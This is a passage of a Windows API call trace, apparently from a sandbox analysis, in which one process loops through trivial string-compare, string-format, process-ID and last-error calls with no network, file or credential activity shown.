0xb2c [0030.269] lstrlenA (lpString="just string") returned 11 [0030.269] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.269] GetLastError () returned 0x57 [0030.269] GetLastError () returned 0x57 [0030.269] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="4E8P") returned 4 [0030.269] SetLastError (dwErrCode=0x57) [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] lstrlenA (lpString="just string") returned 11 [0030.269] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.269] GetLastError () returned 0x57 [0030.269] GetLastError () returned 0x57 [0030.269] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="4FCP") returned 4 [0030.269] SetLastError (dwErrCode=0x57) [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] lstrlenA (lpString="just string") returned 11 [0030.269] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.269] GetLastError () returned 0x57 [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] lstrlenA (lpString="just string") returned 11 [0030.269] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.269] GetLastError () returned 0x57 [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] lstrlenA (lpString="just string") returned 11 [0030.269] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.269] GetLastError () returned 0x57 [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] lstrlenA (lpString="just string") returned 11 [0030.269] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.269] GetLastError () returned 0x57 [0030.269] GetLastError () returned 0x57 [0030.269] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.269] SetLastError (dwErrCode=0x57) [0030.269] GetCurrentProcess () returned 0xffffffff [0030.269] GetLastError () returned 0x57 [0030.269] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="5B8P") returned 4 [0030.269] SetLastError (dwErrCode=0x57) [0030.270] GetCurrentProcessId () returned 0xb2c [0030.270] GetCurrentProcess () returned 0xffffffff [0030.270] GetLastError () returned 0x57 [0030.270] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="5B9P") returned 4 [0030.270] SetLastError (dwErrCode=0x57) [0030.270] GetCurrentProcessId () returned 0xb2c [0030.270] GetLastError () returned 0x57 [0030.270] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="5BAP") returned 4 [0030.270] SetLastError (dwErrCode=0x57) [0030.270] GetCurrentProcessId () returned 0xb2c [0030.270] GetCurrentProcessId () returned 0xb2c [0030.270] GetCurrentProcessId () returned 0xb2c [0030.270] GetCurrentProcessId () returned 0xb2c [0030.270] lstrlenA (lpString="just string") returned 11 [0030.270] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.270] GetLastError () returned 0x57 [0030.270] GetLastError () returned 0x57 [0030.270] GetLastError () returned 0x57 [0030.270] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.270] SetLastError (dwErrCode=0x57) [0030.270] GetCurrentProcess () returned 0xffffffff [0030.270] GetLastError () returned 0x57 [0030.270] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="5E0P") returned 4 [0030.270] SetLastError (dwErrCode=0x57) [0030.270] GetCurrentProcessId () returned 0xb2c [0030.270] GetCurrentProcess () returned 0xffffffff [0030.270] GetLastError () returned 0x57 [0030.270] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="5E1P") returned 4 [0030.270] SetLastError (dwErrCode=0x57) [0030.270] GetCurrentProcessId () returned 0xb2c [0030.270] GetLastError () returned 0x57 [0030.270] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="5E2P") returned 4 [0030.270] SetLastError (dwErrCode=0x57) [0030.270] GetCurrentProcessId () returned 0xb2c [0030.270] GetCurrentProcessId () returned 0xb2c [0030.270] GetCurrentProcessId () returned 0xb2c [0030.270] GetCurrentProcessId () returned 0xb2c [0030.270] lstrlenA (lpString="just string") returned 11 [0030.270] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.270] GetLastError () returned 0x57 [0030.270] GetCurrentProcess () returned 0xffffffff [0030.270] GetLastError () returned 0x57 [0030.270] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="5FFP") returned 4 [0030.270] SetLastError (dwErrCode=0x57) [0030.270] GetCurrentProcessId () returned 0xb2c [0030.270] GetLastError () returned 0x57 [0030.271] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="600P") returned 4 [0030.271] SetLastError (dwErrCode=0x57) [0030.271] GetCurrentProcessId () returned 0xb2c [0030.271] GetCurrentProcessId () returned 0xb2c [0030.271] GetCurrentProcessId () returned 0xb2c [0030.271] GetCurrentProcessId () returned 0xb2c [0030.271] lstrlenA (lpString="just string") returned 11 [0030.271] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.271] GetLastError () returned 0x57 [0030.271] GetLastError () returned 0x57 [0030.271] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.271] SetLastError (dwErrCode=0x57) [0030.271] GetCurrentProcess () returned 0xffffffff [0030.271] GetLastError () returned 0x57 [0030.271] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="63AP") returned 4 [0030.271] SetLastError (dwErrCode=0x57) [0030.271] GetCurrentProcessId () returned 0xb2c [0030.271] GetCurrentProcess () returned 0xffffffff [0030.271] GetLastError () returned 0x57 [0030.271] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="63BP") returned 4 [0030.271] SetLastError (dwErrCode=0x57) [0030.271] GetCurrentProcessId () returned 0xb2c [0030.271] GetLastError () returned 0x57 [0030.271] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="63CP") returned 4 [0030.271] SetLastError (dwErrCode=0x57) [0030.271] GetCurrentProcessId () returned 0xb2c [0030.271] GetCurrentProcessId () returned 0xb2c [0030.271] GetCurrentProcessId () returned 0xb2c [0030.271] GetCurrentProcessId () returned 0xb2c [0030.271] lstrlenA (lpString="just string") returned 11 [0030.271] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.271] GetLastError () returned 0x57 [0030.271] GetLastError () returned 0x57 [0030.271] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.271] SetLastError (dwErrCode=0x57) [0030.271] GetCurrentProcess () returned 0xffffffff [0030.271] GetLastError () returned 0x57 [0030.271] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="64EP") returned 4 [0030.271] SetLastError (dwErrCode=0x57) [0030.271] GetCurrentProcessId () returned 0xb2c [0030.271] GetCurrentProcess () returned 0xffffffff [0030.271] GetLastError () returned 0x57 [0030.271] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="64FP") returned 4 [0030.271] SetLastError (dwErrCode=0x57) [0030.271] GetCurrentProcessId () returned 0xb2c [0030.271] GetLastError () returned 0x57 [0030.271] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="650P") returned 4 [0030.271] SetLastError (dwErrCode=0x57) [0030.271] GetCurrentProcessId () returned 0xb2c [0030.271] GetCurrentProcessId () returned 0xb2c [0030.271] GetCurrentProcessId () returned 0xb2c [0030.271] GetCurrentProcessId () returned 0xb2c [0030.272] lstrlenA (lpString="just string") returned 11 [0030.272] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.272] GetLastError () returned 0x57 [0030.272] GetCurrentProcessId () returned 0xb2c [0030.272] lstrlenA (lpString="just string") returned 11 [0030.272] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.272] GetLastError () returned 0x57 [0030.272] lstrlenA (lpString="just string") returned 11 [0030.272] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.272] GetLastError () returned 0x57 [0030.272] GetLastError () returned 0x57 [0030.272] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.272] SetLastError (dwErrCode=0x57) [0030.272] GetCurrentProcess () returned 0xffffffff [0030.272] GetLastError () returned 0x57 [0030.272] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="702P") returned 4 [0030.272] SetLastError (dwErrCode=0x57) [0030.272] GetCurrentProcessId () returned 0xb2c [0030.272] GetCurrentProcess () returned 0xffffffff [0030.272] GetLastError () returned 0x57 [0030.272] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="703P") returned 4 [0030.272] SetLastError (dwErrCode=0x57) [0030.272] GetCurrentProcessId () returned 0xb2c [0030.272] GetLastError () returned 0x57 [0030.272] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="704P") returned 4 [0030.272] SetLastError (dwErrCode=0x57) [0030.272] GetCurrentProcessId () returned 0xb2c [0030.272] GetCurrentProcessId () returned 0xb2c [0030.272] GetCurrentProcessId () returned 0xb2c [0030.272] GetCurrentProcessId () returned 0xb2c [0030.272] lstrlenA (lpString="just string") returned 11 [0030.272] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.272] GetLastError () returned 0x57 [0030.272] GetLastError () returned 0x57 [0030.272] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.272] SetLastError (dwErrCode=0x57) [0030.272] GetCurrentProcess () returned 0xffffffff [0030.272] GetLastError () returned 0x57 [0030.272] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="720P") returned 4 [0030.272] SetLastError (dwErrCode=0x57) [0030.272] GetCurrentProcessId () returned 0xb2c [0030.272] GetCurrentProcess () returned 0xffffffff [0030.272] GetLastError () returned 0x57 [0030.272] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="721P") returned 4 [0030.272] SetLastError (dwErrCode=0x57) [0030.272] GetCurrentProcessId () returned 0xb2c [0030.272] GetLastError () returned 0x57 [0030.272] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="722P") returned 4 [0030.272] SetLastError (dwErrCode=0x57) [0030.272] GetCurrentProcessId () returned 0xb2c [0030.272] GetCurrentProcessId () returned 0xb2c [0030.272] GetCurrentProcessId () returned 0xb2c [0030.272] GetCurrentProcessId () returned 0xb2c [0030.272] lstrlenA (lpString="just string") returned 11 [0030.272] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.272] GetLastError () returned 0x57 [0030.272] GetLastError () returned 0x57 [0030.273] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.273] SetLastError (dwErrCode=0x57) [0030.273] GetCurrentProcess () returned 0xffffffff [0030.273] GetLastError () returned 0x57 [0030.273] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="73EP") returned 4 [0030.273] SetLastError (dwErrCode=0x57) [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] GetCurrentProcess () returned 0xffffffff [0030.273] GetLastError () returned 0x57 [0030.273] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="73FP") returned 4 [0030.273] SetLastError (dwErrCode=0x57) [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] GetLastError () returned 0x57 [0030.273] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="740P") returned 4 [0030.273] SetLastError (dwErrCode=0x57) [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] lstrlenA (lpString="just string") returned 11 [0030.273] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.273] GetLastError () returned 0x57 [0030.273] GetLastError () returned 0x57 [0030.273] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="74AP") returned 4 [0030.273] SetLastError (dwErrCode=0x57) [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] lstrlenA (lpString="just string") returned 11 [0030.273] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.273] GetLastError () returned 0x57 [0030.273] GetCurrentProcess () returned 0xffffffff [0030.273] GetLastError () returned 0x57 [0030.273] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="75DP") returned 4 [0030.273] SetLastError (dwErrCode=0x57) [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] GetLastError () returned 0x57 [0030.273] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="75EP") returned 4 [0030.273] SetLastError (dwErrCode=0x57) [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] lstrlenA (lpString="just string") returned 11 [0030.273] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.273] GetLastError () returned 0x57 [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] lstrlenA (lpString="just string") returned 11 [0030.273] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.273] GetLastError () returned 0x57 [0030.273] GetCurrentProcess () returned 0xffffffff [0030.273] GetLastError () returned 0x57 [0030.273] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="7A3P") returned 4 [0030.273] SetLastError (dwErrCode=0x57) [0030.273] GetCurrentProcessId () returned 0xb2c [0030.273] GetLastError () returned 0x57 [0030.273] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="7A4P") returned 4 [0030.273] SetLastError (dwErrCode=0x57) [0030.273] GetCurrentProcessId () returned 0xb2c [0030.274] GetCurrentProcessId () returned 0xb2c [0030.274] GetCurrentProcessId () returned 0xb2c [0030.274] GetCurrentProcessId () returned 0xb2c [0030.274] lstrlenA (lpString="just string") returned 11 [0030.274] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.274] GetLastError () returned 0x57 [0030.274] lstrlenA (lpString="just string") returned 11 [0030.274] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.274] GetLastError () returned 0x57 [0030.274] lstrlenA (lpString="just string") returned 11 [0030.274] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.274] GetLastError () returned 0x57 [0030.274] GetCurrentProcessId () returned 0xb2c [0030.274] lstrlenA (lpString="just string") returned 11 [0030.274] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.274] GetLastError () returned 0x57 [0030.274] GetLastError () returned 0x57 [0030.274] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.274] SetLastError (dwErrCode=0x57) [0030.274] GetCurrentProcess () returned 0xffffffff [0030.274] GetLastError () returned 0x57 [0030.274] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="874P") returned 4 [0030.274] SetLastError (dwErrCode=0x57) [0030.274] GetCurrentProcessId () returned 0xb2c [0030.274] GetCurrentProcess () returned 0xffffffff [0030.274] GetLastError () returned 0x57 [0030.274] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="875P") returned 4 [0030.274] SetLastError (dwErrCode=0x57) [0030.274] GetCurrentProcessId () returned 0xb2c [0030.274] GetLastError () returned 0x57 [0030.274] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="876P") returned 4 [0030.274] SetLastError (dwErrCode=0x57) [0030.274] GetCurrentProcessId () returned 0xb2c [0030.274] GetCurrentProcessId () returned 0xb2c [0030.274] GetCurrentProcessId () returned 0xb2c [0030.274] GetCurrentProcessId () returned 0xb2c [0030.274] lstrlenA (lpString="just string") returned 11 [0030.274] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.274] GetLastError () returned 0x57 [0030.274] GetCurrentProcessId () returned 0xb2c [0030.274] lstrlenA (lpString="just string") returned 11 [0030.274] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.274] GetLastError () returned 0x57 [0030.274] GetLastError () returned 0x57 [0030.274] GetLastError () returned 0x57 [0030.274] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.274] SetLastError (dwErrCode=0x57) [0030.274] GetCurrentProcess () returned 0xffffffff [0030.274] GetLastError () returned 0x57 [0030.275] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="8B0P") returned 4 [0030.275] SetLastError (dwErrCode=0x57) [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] GetCurrentProcess () returned 0xffffffff [0030.275] GetLastError () returned 0x57 [0030.275] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="8B1P") returned 4 [0030.275] SetLastError (dwErrCode=0x57) [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] GetLastError () returned 0x57 [0030.275] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="8B2P") returned 4 [0030.275] SetLastError (dwErrCode=0x57) [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] lstrlenA (lpString="just string") returned 11 [0030.275] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.275] GetLastError () returned 0x57 [0030.275] GetLastError () returned 0x57 [0030.275] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.275] SetLastError (dwErrCode=0x57) [0030.275] GetCurrentProcess () returned 0xffffffff [0030.275] GetLastError () returned 0x57 [0030.275] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="8F6P") returned 4 [0030.275] SetLastError (dwErrCode=0x57) [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] GetCurrentProcess () returned 0xffffffff [0030.275] GetLastError () returned 0x57 [0030.275] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="8F7P") returned 4 [0030.275] SetLastError (dwErrCode=0x57) [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] GetLastError () returned 0x57 [0030.275] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="8F8P") returned 4 [0030.275] SetLastError (dwErrCode=0x57) [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] lstrlenA (lpString="just string") returned 11 [0030.275] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.275] GetLastError () returned 0x57 [0030.275] GetCurrentProcess () returned 0xffffffff [0030.275] GetLastError () returned 0x57 [0030.275] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="901P") returned 4 [0030.275] SetLastError (dwErrCode=0x57) [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] GetLastError () returned 0x57 [0030.275] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="902P") returned 4 [0030.275] SetLastError (dwErrCode=0x57) [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] GetCurrentProcessId () returned 0xb2c [0030.275] lstrlenA (lpString="just string") returned 11 [0030.275] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.275] GetLastError () returned 0x57 [0030.275] GetLastError () returned 0x57 [0030.275] GetLastError () returned 0x57 [0030.275] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.276] SetLastError (dwErrCode=0x57) [0030.276] GetCurrentProcess () returned 0xffffffff [0030.276] GetLastError () returned 0x57 [0030.276] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="928P") returned 4 [0030.276] SetLastError (dwErrCode=0x57) [0030.276] GetCurrentProcessId () returned 0xb2c [0030.276] GetCurrentProcess () returned 0xffffffff [0030.276] GetLastError () returned 0x57 [0030.276] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="929P") returned 4 [0030.276] SetLastError (dwErrCode=0x57) [0030.276] GetCurrentProcessId () returned 0xb2c [0030.276] GetLastError () returned 0x57 [0030.276] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="92AP") returned 4 [0030.276] SetLastError (dwErrCode=0x57) [0030.276] GetCurrentProcessId () returned 0xb2c [0030.276] GetCurrentProcessId () returned 0xb2c [0030.276] GetCurrentProcessId () returned 0xb2c [0030.276] GetCurrentProcessId () returned 0xb2c [0030.276] lstrlenA (lpString="just string") returned 11 [0030.276] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.276] GetLastError () returned 0x57 [0030.276] GetLastError () returned 0x57 [0030.276] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.276] SetLastError (dwErrCode=0x57) [0030.276] GetCurrentProcess () returned 0xffffffff [0030.276] GetLastError () returned 0x57 [0030.276] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="950P") returned 4 [0030.276] SetLastError (dwErrCode=0x57) [0030.276] GetCurrentProcessId () returned 0xb2c [0030.276] GetCurrentProcess () returned 0xffffffff [0030.276] GetLastError () returned 0x57 [0030.276] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="951P") returned 4 [0030.276] SetLastError (dwErrCode=0x57) [0030.276] GetCurrentProcessId () returned 0xb2c [0030.276] GetLastError () returned 0x57 [0030.276] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="952P") returned 4 [0030.276] SetLastError (dwErrCode=0x57) [0030.276] GetCurrentProcessId () returned 0xb2c [0030.276] GetCurrentProcessId () returned 0xb2c [0030.276] GetCurrentProcessId () returned 0xb2c [0030.276] GetCurrentProcessId () returned 0xb2c [0030.276] lstrlenA (lpString="just string") returned 11 [0030.276] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.276] GetLastError () returned 0x57 [0030.276] GetLastError () returned 0x57 [0030.276] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.276] SetLastError (dwErrCode=0x57) [0030.276] GetCurrentProcess () returned 0xffffffff [0030.276] GetLastError () returned 0x57 [0030.276] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="996P") returned 4 [0030.276] SetLastError (dwErrCode=0x57) [0030.276] GetCurrentProcessId () returned 0xb2c [0030.276] GetCurrentProcess () returned 0xffffffff [0030.276] GetLastError () returned 0x57 [0030.276] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="997P") returned 4 [0030.276] SetLastError (dwErrCode=0x57) [0030.276] GetCurrentProcessId () returned 0xb2c [0030.277] GetLastError () returned 0x57 [0030.277] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="998P") returned 4 [0030.277] SetLastError (dwErrCode=0x57) [0030.277] GetCurrentProcessId () returned 0xb2c [0030.277] GetCurrentProcessId () returned 0xb2c [0030.277] GetCurrentProcessId () returned 0xb2c [0030.277] GetCurrentProcessId () returned 0xb2c [0030.277] lstrlenA (lpString="just string") returned 11 [0030.277] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.277] GetLastError () returned 0x57 [0030.277] GetLastError () returned 0x57 [0030.277] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.277] SetLastError (dwErrCode=0x57) [0030.277] GetCurrentProcess () returned 0xffffffff [0030.277] GetLastError () returned 0x57 [0030.277] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="9D2P") returned 4 [0030.277] SetLastError (dwErrCode=0x57) [0030.277] GetCurrentProcessId () returned 0xb2c [0030.277] GetCurrentProcess () returned 0xffffffff [0030.277] GetLastError () returned 0x57 [0030.277] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="9D3P") returned 4 [0030.277] SetLastError (dwErrCode=0x57) [0030.277] GetCurrentProcessId () returned 0xb2c [0030.277] GetLastError () returned 0x57 [0030.277] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="9D4P") returned 4 [0030.277] SetLastError (dwErrCode=0x57) [0030.277] GetCurrentProcessId () returned 0xb2c [0030.277] GetCurrentProcessId () returned 0xb2c [0030.277] GetCurrentProcessId () returned 0xb2c [0030.277] GetCurrentProcessId () returned 0xb2c [0030.277] lstrlenA (lpString="just string") returned 11 [0030.277] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.277] GetLastError () returned 0x57 [0030.277] lstrlenA (lpString="just string") returned 11 [0030.277] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.277] GetLastError () returned 0x57 [0030.277] GetLastError () returned 0x57 [0030.277] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="9FCP") returned 4 [0030.277] SetLastError (dwErrCode=0x57) [0030.277] GetCurrentProcessId () returned 0xb2c [0030.277] GetCurrentProcessId () returned 0xb2c [0030.277] GetCurrentProcessId () returned 0xb2c [0030.277] GetCurrentProcessId () returned 0xb2c [0030.277] lstrlenA (lpString="just string") returned 11 [0030.277] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.277] GetLastError () returned 0x57 [0030.277] lstrlenA (lpString="just string") returned 11 [0030.277] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.277] GetLastError () returned 0x57 [0030.277] GetLastError () returned 0x57 [0030.277] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.277] SetLastError (dwErrCode=0x57) [0030.277] GetCurrentProcess () returned 0xffffffff [0030.277] GetLastError () returned 0x57 [0030.277] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="A22P") returned 4 [0030.277] SetLastError (dwErrCode=0x57) [0030.277] GetCurrentProcessId () returned 0xb2c [0030.278] GetCurrentProcess () returned 0xffffffff [0030.278] GetLastError () returned 0x57 [0030.278] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="A23P") returned 4 [0030.278] SetLastError (dwErrCode=0x57) [0030.278] GetCurrentProcessId () returned 0xb2c [0030.278] GetLastError () returned 0x57 [0030.278] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="A24P") returned 4 [0030.278] SetLastError (dwErrCode=0x57) [0030.278] GetCurrentProcessId () returned 0xb2c [0030.278] GetCurrentProcessId () returned 0xb2c [0030.278] GetCurrentProcessId () returned 0xb2c [0030.278] GetCurrentProcessId () returned 0xb2c [0030.278] lstrlenA (lpString="just string") returned 11 [0030.278] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.278] GetLastError () returned 0x57 [0030.278] GetCurrentProcess () returned 0xffffffff [0030.278] GetLastError () returned 0x57 [0030.278] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="A41P") returned 4 [0030.278] SetLastError (dwErrCode=0x57) [0030.278] GetCurrentProcessId () returned 0xb2c [0030.278] GetLastError () returned 0x57 [0030.278] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="A42P") returned 4 [0030.278] SetLastError (dwErrCode=0x57) [0030.278] GetCurrentProcessId () returned 0xb2c [0030.278] GetCurrentProcessId () returned 0xb2c [0030.278] GetCurrentProcessId () returned 0xb2c [0030.278] GetCurrentProcessId () returned 0xb2c [0030.278] lstrlenA (lpString="just string") returned 11 [0030.278] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.278] GetLastError () returned 0x57 [0030.278] GetLastError () returned 0x57 [0030.278] GetCurrentProcess () returned 0xffffffff [0030.278] GetLastError () returned 0x57 [0030.278] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="A55P") returned 4 [0030.278] SetLastError (dwErrCode=0x57) [0030.278] GetCurrentProcessId () returned 0xb2c [0030.278] GetLastError () returned 0x57 [0030.278] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="A56P") returned 4 [0030.278] SetLastError (dwErrCode=0x57) [0030.278] GetCurrentProcessId () returned 0xb2c [0030.278] GetCurrentProcessId () returned 0xb2c [0030.278] GetCurrentProcessId () returned 0xb2c [0030.278] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.278] GetLastError () returned 0x57 [0030.278] GetLastError () returned 0x57 [0030.278] GetLastError () returned 0x57 [0030.278] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.278] SetLastError (dwErrCode=0x57) [0030.278] GetCurrentProcess () returned 0xffffffff [0030.278] GetLastError () returned 0x57 [0030.278] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="A86P") returned 4 [0030.278] SetLastError (dwErrCode=0x57) [0030.278] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="A87P") returned 4 [0030.278] SetLastError (dwErrCode=0x57) [0030.279] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="A88P") returned 4 [0030.279] SetLastError (dwErrCode=0x57) [0030.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.279] GetLastError () returned 0x57 [0030.279] lstrlenA (lpString="just string") returned 11 [0030.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.279] GetLastError () returned 0x57 [0030.279] GetCurrentProcess () returned 0xffffffff 